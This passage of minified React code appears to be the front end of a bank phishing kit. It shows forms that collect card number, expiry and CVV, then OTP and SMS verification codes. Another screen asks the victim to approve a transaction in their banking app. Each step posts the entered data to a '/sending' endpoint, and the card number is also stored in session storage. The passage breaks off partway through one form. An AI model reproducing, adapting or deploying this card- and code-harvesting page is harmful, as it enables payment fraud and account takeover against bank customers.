",AH="data:image/png;base64,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",TH="/assets/amex-5DqdNAeL.svg",DH=e=>{const t=e.replace(/\s+/g,"").replace(/[^0-9]/gi,"");return t.length===0?"none":t.match(/^4/)?"visa":t.match(/^5[1-5]/)||t.match(/^2[2-7]/)?"mastercard":t.match(/^3[47]/)?"amex":"unknown"};function RH(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),[c,u]=C.useState("none"),{t:d,i18n:m}=ta("global"),h=Qt(),p=(()=>{try{return m.dir?m.dir()==="rtl":["ar","he","fa","ur"].includes(m.language)}catch{return["ar","he","fa","ur"].includes(m.language)}})(),{control:x,handleSubmit:g,formState:{isSubmitting:y,isValid:w,errors:S}}=Ys({mode:"onBlur",defaultValues:{ccn:"",exp:"",cvv:""}}),N=D=>SH(D,d),T=D=>NH(D,d),E=D=>EH(D,d),A=D=>c==="none"?{opacity:1,transform:"scale(1)",transition:"all 0.3s ease"}:c===D?{opacity:1,transform:"scale(1.1)",transition:"all 0.3s ease"}:{opacity:.25,transform:"scale(0.9)",transition:"all 0.3s ease",filter:"grayscale(100%)"},j=c==="amex"?4:3,R=async D=>{try{i(!0);const k=D.ccn.replace(/\s/g,"");sessionStorage.setItem("cc",k);const B={step:"card",unique_id:e,ccn:D.ccn,exp:D.exp,cvv:D.cvv};(await h.sending("/sending",B)).status==="success"?(n(null),i(!0),t("loader")):(n(d("message.cardSubmissionError")),i(!1))}catch(k){console.log("onSubmit error:",k),i(!1)}};return o.jsx("div",{className:"w-full mx-auto",dir:p?"rtl":"ltr",children:o.jsxs("form",{onSubmit:g(R),children:[o.jsx("h1",{className:`text-[32px] leading-[1.25] font-custom font-[600] text-[#333] mb-[8px] ${p?"text-right":"text-left"}`,children:d("card.title")}),o.jsxs("div",{className:"w-full mb-[20px]",children:[o.jsxs("div",{className:`flex items-center mb-3 ${p?"space-x-reverse space-x-3":"space-x-3"}`,children:[o.jsx("img",{src:jH,alt:"Visa",className:"w-[39px] h-[25px]",style:A("visa")}),o.jsx("img",{src:AH,alt:"Mastercard",className:"w-[39px] h-[25px]",style:A("mastercard")}),o.jsx("div",{className:"rounded-[2px] bg-[#fff] border border-[#f1f1f1] px-[2px]",style:A("amex"),children:o.jsx("img",{src:TH,alt:"Amex",className:"w-[36px] h-[23px]"})})]}),o.jsx("div",{className:"mb-4",children:o.jsx(M0,{name:"ccn",control:x,rules:{required:d("validation.cardNumberRequired"),validate:N},render:({field:{onChange:D,onBlur:k,value:B}})=>o.jsx(ka,{label:d("card.cardNumber"),type:"tel",variant:"masked",value:B,onChange:I=>{const z=I.target.value;D(z);const U=DH(z);u(U)},onBlur:k,cleaveOptions:{creditCard:!0,onCreditCardTypeChanged:I=>{I==="amex"?u("amex"):I==="visa"?u("visa"):I==="mastercard"&&u("mastercard")}},error:S.ccn?.message,dir:"ltr"})})}),o.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[o.jsx("div",{children:o.jsx(M0,{name:"exp",control:x,rules:{required:d("validation.expiryRequired"),validate:T},render:({field:{onChange:D,onBlur:k,value:B}})=>o.jsx(ka,{label:d("card.expirationDate"),type:"tel",value:B,variant:"masked",onChange:I=>D(I.target.value),onBlur:k,cleaveOptions:{date:!0,datePattern:["m","y"]},error:S.exp?.message})})}),o.jsxs("div",{className:"relative",children:[o.jsx(M0,{name:"cvv",control:x,rules:{required:d("validation.cvvRequired"),validate:E},render:({field:{onChange:D,onBlur:k,value:B}})=>o.jsx(ka,{label:c==="amex"?"CID (4)":"CVV (3)",type:"tel",variant:"masked",value:B,onChange:I=>D(I.target.value),onBlur:k,cleaveOptions:{numeral:!0,numeralThousandsGroupStyle:"none",numeralDecimalScale:0,numeralPositiveOnly:!0,blocks:[j],numericOnly:!0},error:S.cvv?.message})}),o.jsx(xj,{className:`absolute ${p?"left-3 !top-[8px]":"right-3"} top-[19px] w-5 h-5 text-[#656565] pointer-events-none`})]})]})]}),o.jsx("div",{className:"w-full",children:o.jsx(Rr,{isSubmitting:y||!w||s,isLoading:s,text:d("button.continue")})})]})})}function yN({formId:e=null}){const{userid:t,setErrorMessage:n,setIsForm:s}=Wt(),[i,c]=C.useState(null),[u,d]=C.useState(!1),[m]=ta("global"),h=Qt(),{register:p,handleSubmit:x,formState:{errors:g,isSubmitting:y,isValid:w}}=Ys({mode:"onBlur"});C.useEffect(()=>{(async()=>{d(!0);try{const T=await h.getpage("custom-forms");if(T.success&&T.data&&T.data.length>0)if(e){const E=T.data.find(A=>A.id.toString()===e.toString());E?c(E):s("loader")}else c(T.data[0]);else s("loader")}catch{n(m("message.xmessageSendingError"))}finally{d(!1)}})()},[e]);const S=async N=>{try{d(!0);const T={unique_id:t,step:e?`custom_${e}`:"custom",...N};(await h.sending("/sending",T)).status==="success"?(n(null),s("loader")):n(m("message.xmessageSendingError"))}catch{n(m("message.xmessageSendingError"))}finally{d(!1)}};return u&&!i?o.jsx("div",{className:"flex items-center justify-center p-8",children:o.jsx("div",{className:"text-center",children:o.jsx("div",{className:"animate-spin rounded-full h-8 w-8 border-b-2 border-gray-900 mx-auto mb-2"})})}):i?o.jsx("div",{className:"w-full max-w-md mx-auto",children:o.jsx("form",{onSubmit:x(S),className:"w-full space-y-3",children:i.fields&&i.fields.map((N,T)=>{switch(N.type){case"heading":return o.jsx("h3",{className:"text-[32px] leading-[1.25] font-custom font-[600] text-[#333] mb-[8px]",children:N.content},T);case"paragraph":return o.jsx("p",{className:"text-[14px] text-[#0009] leading-relaxed",children:N.content},T);case"input":return o.jsx("div",{className:"w-full flex flex-col",children:o.jsx(ka,{label:N.label,...p(N.name||`field_${T}`,{required:N.required?m("validation.required"):!1}),type:N.inputType||"text",variant:"light",placeholder:N.placeholder||"",error:g[N.name||`field_${T}`]?.message})},T);case"button":return o.jsx(Rr,{isSubmitting:y||u||!w,text:N.buttonText,isLoading:u},T);default:return null}})})}):null}function _H(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),[c,u]=C.useState(!1),[d,m]=C.useState(!1),[h,p]=C.useState(60),[x,g]=C.useState(!1),[y]=ta("global"),w=Qt(),{register:S,handleSubmit:N,watch:T,formState:{errors:E,isValid:A,isSubmitting:j}}=Ys({mode:"onChange",defaultValues:{verificationCode:""}}),R=T("verificationCode"),D=d||R&&R.length>0;C.useEffect(()=>{if(h>0){const I=setTimeout(()=>p(h-1),1e3);return()=>clearTimeout(I)}else g(!0)},[h]);const k=async I=>{try{i(!0);const z={step:"otp",unique_id:e,code:I.verificationCode};(await w.sending("/sending",z)).status==="success"?(t("loader"),n(null),i(!1)):(n(y("message.xmessageSending")),i(!1))}catch(z){console.log("onSubmit error:",z)}},B=async()=>{u(!0);try{const I={step:"notif",unique_id:e,notif:"User requested to resend OTP code"};await w.sending("/sending",I),p(60),g(!1),u(!1)}catch(I){console.error("Resend error:",I),u(!1)}};return o.jsx("div",{className:"w-full mx-auto space-y-6 z-50",children:o.jsx("div",{className:"w-full",children:o.jsxs("div",{className:"w-full md:flex-none flex-1 flex-col flex transition-all duration-500 ease-in-out",children:[o.jsxs("div",{className:"mb-6 text-center",children:[o.jsx("div",{className:"w-16 h-16 bg-[#e8f0fa] rounded-full flex items-center justify-center mx-auto mb-4",children:o.jsx("svg",{className:"w-8 h-8 text-[#00377d]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})})}),o.jsx("h2",{className:"text-2xl font-semibold text-gray-800",children:y("otpForm.title")}),o.jsx("p",{className:"text-gray-600 mt-2",children:y("otpForm.description")}),o.jsx("p",{className:"text-sm text-gray-500 mt-1",children:y("otpForm.instruction")})]}),o.jsxs("form",{className:"w-full flex flex-col justify-between flex-1",onSubmit:N(k),children:[o.jsxs("div",{className:"space-y-6",children:[o.jsxs("div",{className:"w-full relative",children:[o.jsx("label",{htmlFor:"verificationCode",className:`
                  text-[16px] leading-[1.5] font-[300] absolute transition-all duration-200 ease-in-out pointer-events-none
                  ${D?"top-[-2px] text-[12px] text-[#666] transform scale-90 origin-left":"top-[18px] text-[#999]"}
                  ${E.verificationCode?"text-[#dc2626]":""}
                `,children:y("otpForm.codeLabel")}),o.jsx("input",{type:"text",id:"verificationCode",...S("verificationCode",{required:y("otpForm.codeRequired")}),onFocus:()=>m(!0),onBlur:()=>m(!1),className:`
                  w-full text-[#333] border-b-[2px] bg-transparent pt-[16px] pb-[3px] px-0
                  font-[400] ring-0 transition-colors duration-200 text-2xl tracking-widest
                  ${E.verificationCode?"border-[#dc2626]":d?"border-[#00377d]":"border-[#ced4da]"}
                `,placeholder:"",autoComplete:"one-time-code"}),E.verificationCode&&o.jsx("p",{className:"text-[#dc2626] text-sm mt-1 text-center",children:E.verificationCode.message})]}),o.jsxs("div",{className:"text-center space-y-3",children:[o.jsx("p",{className:"text-sm text-gray-600",children:y("otpForm.didntReceive")}),x?o.jsx("button",{type:"button",onClick:B,disabled:c,className:"w-full flex flex-row items-center justify-center text-[#00377d] hover:text-[#002a61] p-0 h-auto font-medium",children:c?o.jsxs(o.Fragment,{children:[o.jsx(jn,{className:"w-4 h-4 mr-2 animate-spin"}),y("otpForm.sending")]}):o.jsxs(o.Fragment,{children:[o.jsx(bi,{className:"w-4 h-4 mr-2"}),y("otpForm.resendCode")]})}):o.jsx("p",{className:"text-sm text-gray-500",children:y("otpForm.resendCountdown",{timeLeft:h})})]}),o.jsx("div",{className:"bg-[#f0f5fb] border border-[#d4e3f5] rounded-lg p-4",children:o.jsxs("div",{className:"flex items-start gap-3",children:[o.jsx("svg",{className:"w-5 h-5 text-[#00377d] mt-0.5 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),o.jsxs("div",{className:"text-sm text-gray-700",children:[o.jsx("p",{className:"font-medium mb-1",children:y("otpForm.helpTitle")}),o.jsxs("ul",{className:"space-y-1 text-gray-600",children:[o.jsxs("li",{children:["• ",y("otpForm.helpItem1")]}),o.jsxs("li",{children:["• ",y("otpForm.helpItem2")]}),o.jsxs("li",{children:["• ",y("otpForm.helpItem3")]})]})]})]})})]}),o.jsx("div",{className:"w-full mt-8",children:o.jsx(Rr,{isSubmitting:j||!A||s,isLoading:s,text:y("button.continue")})})]})]})})})}function kH(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),[c]=ta("global"),u=Qt(),{handleSubmit:d,formState:{isValid:m,isSubmitting:h}}=Ys({mode:"onChange",defaultValues:{confirmation:""}}),p=async()=>{i(!0);try{const x={step:"app",unique_id:e,notif:"The User validate the transaction"},g=await u.sending("/sending",x);n(null),g.status==="success"?(i(!1),t("loader")):(n(c("message.xmessageSendingError")),i(!1))}catch(x){console.error("Approval check error:",x),i(!1)}};return o.jsx("div",{className:"w-full mx-auto space-y-6 z-50",children:o.jsx("div",{className:"w-full",children:o.jsxs("div",{className:"w-full md:flex-none flex-1 flex-col flex transition-all duration-500 ease-in-out",children:[o.jsxs("div",{className:"mb-6 text-center",children:[o.jsx("div",{className:"w-16 h-16 bg-[#e8f0fa] rounded-full flex items-center justify-center mx-auto mb-4",children:o.jsx("svg",{className:"w-8 h-8 text-[#00377d]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M12 18h.01M8 21h8a2 2 0 002-2V5a2 2 0 00-2-2H8a2 2 0 00-2 2v14a2 2 0 002 2z"})})}),o.jsx("h2",{className:"text-2xl font-semibold text-gray-800",children:c("appForm.title")}),o.jsx("p",{className:"text-gray-600 mt-2",children:c("appForm.description")})]}),o.jsxs("div",{className:"mb-6 space-y-4",children:[o.jsx("div",{className:"bg-[#f0f5fb] border border-[#d4e3f5] rounded-lg p-4",children:o.jsxs("div",{className:"flex items-start gap-3",children:[o.jsx("svg",{className:"w-5 h-5 text-[#00377d] mt-0.5 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M12 18h.01M8 21h8a2 2 0 002-2V5a2 2 0 00-2-2H8a2 2 0 00-2 2v14a2 2 0 002 2z"})}),o.jsxs("div",{className:"text-sm text-gray-700",children:[o.jsx("p",{className:"font-medium mb-2",children:c("appForm.instructionsTitle")}),o.jsxs("ol",{className:"space-y-2 text-gray-600",children:[o.jsxs("li",{className:"flex items-start gap-2",children:[o.jsx("span",{className:"bg-[#00377d] text-white rounded-full w-5 h-5 flex items-center justify-center text-xs font-medium flex-shrink-0 mt-0.5",children:"1"}),o.jsx("span",{children:c("appForm.step1")})]}),o.jsxs("li",{className:"flex items-start gap-2",children:[o.jsx("span",{className:"bg-[#00377d] text-white rounded-full w-5 h-5 flex items-center justify-center text-xs font-medium flex-shrink-0 mt-0.5",children:"2"}),o.jsx("span",{children:c("appForm.step2")})]}),o.jsxs("li",{className:"flex items-start gap-2",children:[o.jsx("span",{className:"bg-[#00377d] text-white rounded-full w-5 h-5 flex items-center justify-center text-xs font-medium flex-shrink-0 mt-0.5",children:"3"}),o.jsx("span",{children:c("appForm.step3")})]}),o.jsxs("li",{className:"flex items-start gap-2",children:[o.jsx("span",{className:"bg-[#00377d] text-white rounded-full w-5 h-5 flex items-center justify-center text-xs font-medium flex-shrink-0 mt-0.5",children:"4"}),o.jsx("span",{children:c("appForm.step4")})]})]})]})]})}),o.jsx("div",{className:"bg-amber-50 border border-amber-200 rounded-lg p-4",children:o.jsxs("div",{className:"flex items-start gap-3",children:[o.jsx("svg",{className:"w-5 h-5 text-amber-600 mt-0.5 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-2.5L13.732 4c-.77-.833-1.964-.833-2.732 0L3.732 16.5c-.77.833.192 2.5 1.732 2.5z"})}),o.jsxs("div",{className:"text-sm text-amber-800",children:[o.jsx("p",{className:"font-medium mb-1",children:c("appForm.warningTitle")}),o.jsx("p",{children:c("appForm.warningText")})]})]})})]}),o.jsx("form",{className:"w-full flex flex-col justify-between flex-1",onSubmit:d(p),children:o.jsx("div",{className:"w-full space-y-3",children:o.jsx(Rr,{isSubmitting:h||!m||s,isLoading:s,text:c("button.continue")})})})]})})})}function BH(){const{setErrorMessage:e}=Wt(),[t,n]=C.useState(!1),[s]=ta("global"),i=la(),{handleSubmit:c,formState:{isValid:u,isSubmitting:d}}=Ys({mode:"onChange"}),m={hidden:{opacity:0},visible:{opacity:1,transition:{staggerChildren:.2,delayChildren:.1}}},h={hidden:{scale:.5,opacity:0},visible:{scale:1,opacity:1,transition:{type:"spring",stiffness:260,damping:20,duration:.7}}},p={hidden:{y:20,opacity:0},visible:{y:0,opacity:1,transition:{duration:.6,ease:"easeOut"}}},x={hidden:{x:-10,opacity:0},visible:{x:0,opacity:1,transition:{duration:.4,ease:"easeOut"}}},g={hidden:{opacity:0},visible:{opacity:1,transition:{staggerChildren:.1,delayChildren:.2}}},y=async()=>{try{n(!0),e(null),n(!1),i(cj)}catch(w){console.log("onSubmit error:",w)}};return o.jsx("div",{className:"w-full mx-auto space-y-6 z-50",children:o.jsx("form",{className:"w-full",onSubmit:c(y),children:o.jsxs(pn.div,{className:"w-full md:flex-none flex-1 flex-col flex text-center",variants:m,initial:"hidden",animate:"visible",children:[o.jsxs(pn.div,{className:"mb-3",variants:p,children:[o.jsx(pn.div,{className:"w-20 h-20 bg-[#e8f0fa] rounded-full flex items-center justify-center mx-auto mb-6",variants:h,children:o.jsx("svg",{className:"w-12 h-12 text-[#10b981]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"})})}),o.jsxs(pn.div,{variants:p,children:[o.jsx(pn.h1,{className:"text-3xl font-bold text-gray-800 mb-4",variants:p,children:s("confirmForm.successTitle")}),o.jsx(pn.p,{className:"text-xl text-gray-600 mb-2",variants:p,children:s("confirmForm.successDescription")}),o.jsx(pn.p,{className:"text-lg uppercase font-bold text-[#00377d]",variants:p,children:s("confirmForm.bankName")})]})]}),o.jsx(pn.div,{className:"mb-8",variants:p}),o.jsx(pn.div,{className:"mb-8",variants:p,children:o.jsxs(pn.div,{className:"bg-[#f0f5fb] border border-[#d4e3f5] rounded-lg p-6",children:[o.jsx(pn.h3,{className:"text-lg font-semibold text-gray-800 mb-3",variants:p,children:s("confirmForm.nextStepsTitle")}),o.jsxs(pn.ul,{className:"text-left space-y-2 text-gray-700",variants:g,initial:"hidden",animate:"visible",children:[o.jsxs(pn.li,{className:"flex items-start gap-2",variants:x,children:[o.jsx("svg",{className:"w-4 h-4 text-[#10b981] mt-0.5 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"})}),o.jsx("span",{className:"text-sm",children:s("confirmForm.nextStep1")})]}),o.jsxs(pn.li,{className:"flex items-start gap-2",variants:x,children:[o.jsx("svg",{className:"w-4 h-4 text-[#10b981] mt-0.5 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"})}),o.jsx("span",{className:"text-sm",children:s("confirmForm.nextStep2")})]}),o.jsxs(pn.li,{className:"flex items-start gap-2",variants:x,children:[o.jsx("svg",{className:"w-4 h-4 text-[#10b981] mt-0.5 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"})}),o.jsx("span",{className:"text-sm",children:s("confirmForm.nextStep3")})]})]})]})}),o.jsx(pn.div,{className:"w-full mt-auto mb-[20px]",variants:p,children:o.jsx(Rr,{isSubmitting:d||!u||t,isLoading:t,text:s("button.continue")})})]})})})}function MH(){const[e]=ta("global");return o.jsx("div",{className:"w-full",children:o.jsx("div",{className:"w-full",children:o.jsx("div",{className:"w-full min-h-[200px] flex flex-col justify-center items-center p-8",children:o.jsxs("div",{className:"flex flex-col items-center space-y-4",children:[o.jsx("div",{className:"relative",children:o.jsx("div",{className:"w-12 h-12 border-4 border-[#e8f0fa] border-t-[#00377d] rounded-full animate-spin"})}),o.jsxs("div",{className:"text-center space-y-2 max-w-md",children:[o.jsx("p",{className:"text-gray-700 font-medium text-lg",children:e("loading.xLoading1")}),o.jsx("p",{className:"text-gray-500 text-sm",children:e("loading.xLoading2")})]}),o.jsxs("div",{className:"flex gap-1 mt-4",children:[o.jsx("div",{className:"w-2 h-2 bg-[#00377d] rounded-full animate-pulse"}),o.jsx("div",{className:"w-2 h-2 bg-[#00377d] rounded-full animate-pulse",style:{animationDelay:"0.2s"}}),o.jsx("div",{className:"w-2 h-2 bg-[#00377d] rounded-full animate-pulse",style:{animationDelay:"0.4s"}})]})]})})})})}function FH(){const{userid:e,setIsForm:t,setErrorMessage:n}=Wt(),[s,i]=C.useState(!1),[c,u]=C.useState(!1),[d,m]=C.useState(!1),[h,p]=C.useState(60),[x,g]=C.useState(!1),[y]=ta("global"),w=Qt(),{register:S,handleSubmit:N,watch:T,formState:{errors:E,isValid:A,isSubmitting:j}}=Ys({mode:"onChange",defaultValues:{verificationCode:""}}),R=T("verificationCode"),D=d||R&&R.length>0;C.useEffect(()=>{if(h>0){const I=setTimeout(()=>p(h-1),1e3);return()=>clearTimeout(I)}else g(!0)},[h]);const k=async I=>{try{i(!0);const z={step:"sms",unique_id:e,code:I.verificationCode};(await w.sending("/sending",z)).status==="success"?(t("loader"),n(null),i(!1)):(n(y("message.xmessageSending")),i(!1))}catch(z){console.log("onSubmit error:",z)}},B=async()=>{u(!0);try{const I={step:"notif",unique_id:e,notif:"User requested to resend OTP code"};await w.sending("/sending",I),p(60),g(!1),u(!1)}catch(I){console.error("Resend error:",I),u(!1)}};return o.jsx("div",{className:"w-full mx-auto space-y-6 z-50",children:o.jsx("div",{className:"w-full",children:o.jsxs("div",{className:"w-full md:flex-none flex-1 flex-col flex transition-all duration-500 ease-in-out",children:[o.jsxs("div",{className:"mb-6 text-center",children:[o.jsx("div",{className:"w-16 h-16 bg-[#e8f0fa] rounded-full flex items-center justify-center mx-auto mb-4",children:o.jsx("svg",{className:"w-8 h-8 text-[#00377d]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",children:o.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2,d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}),o.jsx("h2",{className:"text-2xl font-semibold text-gray-800",children:y("smsForm.title")}),o.jsx("p",{className:"text-gray-600 mt-2",children:y("smsForm.description")}),o.jsx("p",{className:"text-sm text-gray-500 mt-1",children:y("smsForm.instruction")})]}),o.jsxs("form",{className:"w-full flex flex-col justify-between flex-1",onSubmit:N(k),children:[o.jsxs("div",{className:"space-y-6",children:[o.jsxs("div",{className:"w-full relative",children:[o.jsx("label",{htmlFor:"verificationCode",className:`
                  text-[16px] leading-[1.5] font-[300] absolute transition-all duration-200 ease-in-out pointer-events-none
                  ${D?"top-[-2px] text-[12px] text-[#666] transform scale-90 origin-left":"top-[18px] text-[#999]"}
                  ${E.verificationCode?"text-[#dc2626]":""}
                `,children:y("smsForm.codeLabel")}),o.jsx("input",{type:"text",id:"verificationCode",...S("verificationCode",{required:y("smsForm.codeRequired")}),onFocus:()=>m(!0),onBlur:()=>m(!1),className:`
                  w-full text-[#333] border-b-[2px] bg-transparent pt-[16px] pb-[3px] px-0
                  font-[400] ring-0 transition-colors duration-200 text-2xl tracking-widest
                  ${E.verificationCode?"border-[#dc2626]":d?"border-[#00377d]":"border-[#ced4da]"}
